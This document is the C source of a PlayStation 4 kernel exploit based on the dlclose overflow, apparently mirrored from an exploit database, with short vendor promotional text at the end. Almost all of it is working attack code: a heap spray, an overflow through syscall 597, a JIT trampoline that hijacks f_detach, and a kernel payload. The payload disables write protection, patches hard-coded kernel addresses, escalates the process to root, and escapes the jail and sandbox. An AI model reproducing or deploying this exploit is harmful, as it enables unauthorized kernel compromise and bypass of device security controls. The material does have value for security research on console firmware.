/*
Code written based on info available here http://cturt.github.io/dlclose-overflow.html
See attached LICENCE file
Thanks to CTurt and qwertyoruiop
- @kr105rlz
Download: //github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44206.zip
*/
#include "ps4.h"
#define DEBUG_SOCKET
#include "defines.h"
static int sock;
static void *dump;
void payload(struct knote *kn) {
struct thread *td;
struct ucred *cred;
// Get td pointer
asm volatile("mov %0, %%gs:0" : "=r"(td));
// Enable UART output
uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
*securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0
// Print test message to the UART line
printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");
// Disable write protection
uint64_t cr0 = readCr0();
writeCr0(cr0 & ~X86_CR0_WP);
// sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
*(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
*(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
*(char *)0xFFFFFFFF8332431A = 1;
*(char *)0xFFFFFFFF83324338 = 1;
// Restore write protection
writeCr0(cr0);
// Resolve creds
cred = td->td_proc->p_ucred;
// Escalate process to root
cred->cr_uid = 0;
cred->cr_ruid = 0;
cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
// sceSblACMgrIsSystemUcred
uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
*sonyCred = 0xffffffffffffffff;
// sceSblACMgrGetDeviceAccessType
uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
*sceProcType = 0x3801000000000013; // Max access
// sceSblACMgrHasSceProcessCapability
uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
*sceProcCap = 0xffffffffffffffff; // Sce Process
((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check
// Jailbreak ;)
cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0
// Break out of the sandbox
void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
*td_fdp_fd_rdir = *rootvnode;
*td_fdp_fd_jdir = *rootvnode;
}
// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
SceKernelEqueue queue = 0;
sceKernelCreateEqueue(&queue, "kexec");
sceKernelAddReadEvent(queue, fd, 0, NULL);
return queue;
}
void kernelFree(int allocation) {
close(allocation);
}
void *exploitThread(void *none) {
printfsocket("[+] Entered exploitThread\n");
uint64_t bufferSize = 0x8000;
uint64_t overflowSize = 0x8000;
uint64_t copySize = bufferSize + overflowSize;
// Round up to nearest multiple of PAGE_SIZE
uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
munmap(mapping + mappingSize, PAGE_SIZE);
uint8_t *buffer = mapping + mappingSize - copySize;
int64_t count = (0x100000000 + bufferSize) / 4;
// Create structures
struct knote kn;
struct filterops fo;
struct knote **overflow = (struct knote **)(buffer + bufferSize);
overflow[2] = &kn;
kn.kn_fop = &fo;
// Setup trampoline to gracefully return to the calling thread
void *trampw = NULL;
void *trampe = NULL;
int executableHandle;
int writableHandle;
uint8_t trampolinecode[] = {
0x58, // pop rax
0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
0x50, // push rax
0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
0xFF, 0xE0 // jmp rax
};
// Get Jit memory
sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
// Map r+w & r+e
trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
// Copy trampoline to allocated address
memcpy(trampw, trampolinecode, sizeof(trampolinecode));
*(void **)(trampw + 14) = (void *)payload;
// Call trampoline when overflown
fo.f_detach = trampe;
// Start the exploit
int sockets[0x2000];
int allocation[50], m = 0, m2 = 0;
int fd = (bufferSize - 0x800) / 8;
printfsocket("[+] Creating %d sockets\n", fd);
// Create sockets
for(int i = 0; i < 0x2000; i++) {
sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
if(sockets[i] >= fd) {
sockets[i + 1] = -1;
break;
}
}
// Spray the heap
for(int i = 0; i < 50; i++) {
allocation[i] = kernelAllocation(bufferSize, fd);
printfsocket("[+] allocation = %llp\n", allocation[i]);
}
// Create hole for the system call's allocation
m = kernelAllocation(bufferSize, fd);
m2 = kernelAllocation(bufferSize, fd);
kernelFree(m);
// Perform the overflow
int result = syscall(597, 1, mapping, &count);
printfsocket("[+] Result: %d\n", result);
// Execute the payload
printfsocket("[+] Freeing m2\n");
kernelFree(m2);
// Close sockets
for(int i = 0; i < 0x2000; i++) {
if(sockets[i] == -1)
break;
sceNetSocketClose(sockets[i]);
}
// Free allocations
for(int i = 0; i < 50; i++) {
kernelFree(allocation[i]);
}
// Free the mapping
munmap(mapping, mappingSize);
return NULL;
}
int _main(void) {
ScePthread thread;
initKernel();
initLibc();
initNetwork();
initJIT();
initPthread();
#ifdef DEBUG_SOCKET
struct sockaddr_in server;
server.sin_len = sizeof(server);
server.sin_family = AF_INET;
server.sin_addr.s_addr = IP(192, 168, 0, 4);
server.sin_port = sceNetHtons(9023);
memset(server.sin_zero, 0, sizeof(server.sin_zero));
sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
int flag = 1;
sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif
printfsocket("[+] Starting...\n");
printfsocket("[+] UID = %d\n", getuid());
printfsocket("[+] GID = %d\n", getgid());
// Create exploit thread
if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
printfsocket("[-] pthread_create error\n");
return 0;
}
// Wait for thread to exit
scePthreadJoin(thread, NULL);
// At this point we should have root and jailbreak
if(getuid() != 0) {
printfsocket("[-] Kernel patch failed!\n");
sceNetSocketClose(sock);
return 1;
}
printfsocket("[+] Kernel patch success!\n");
// Enable debug menu
int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
RESOLVE(libKernelHandle, sysctlbyname);
uint32_t enable;
size_t size;
enable = 1;
size = sizeof(enable);
sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
#ifdef DEBUG_SOCKET
munmap(dump, PAGE_SIZE);
#endif
printfsocket("[+] bye\n");
sceNetSocketClose(sock);
return 0;
}
# 0day.today [2018-03-12] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation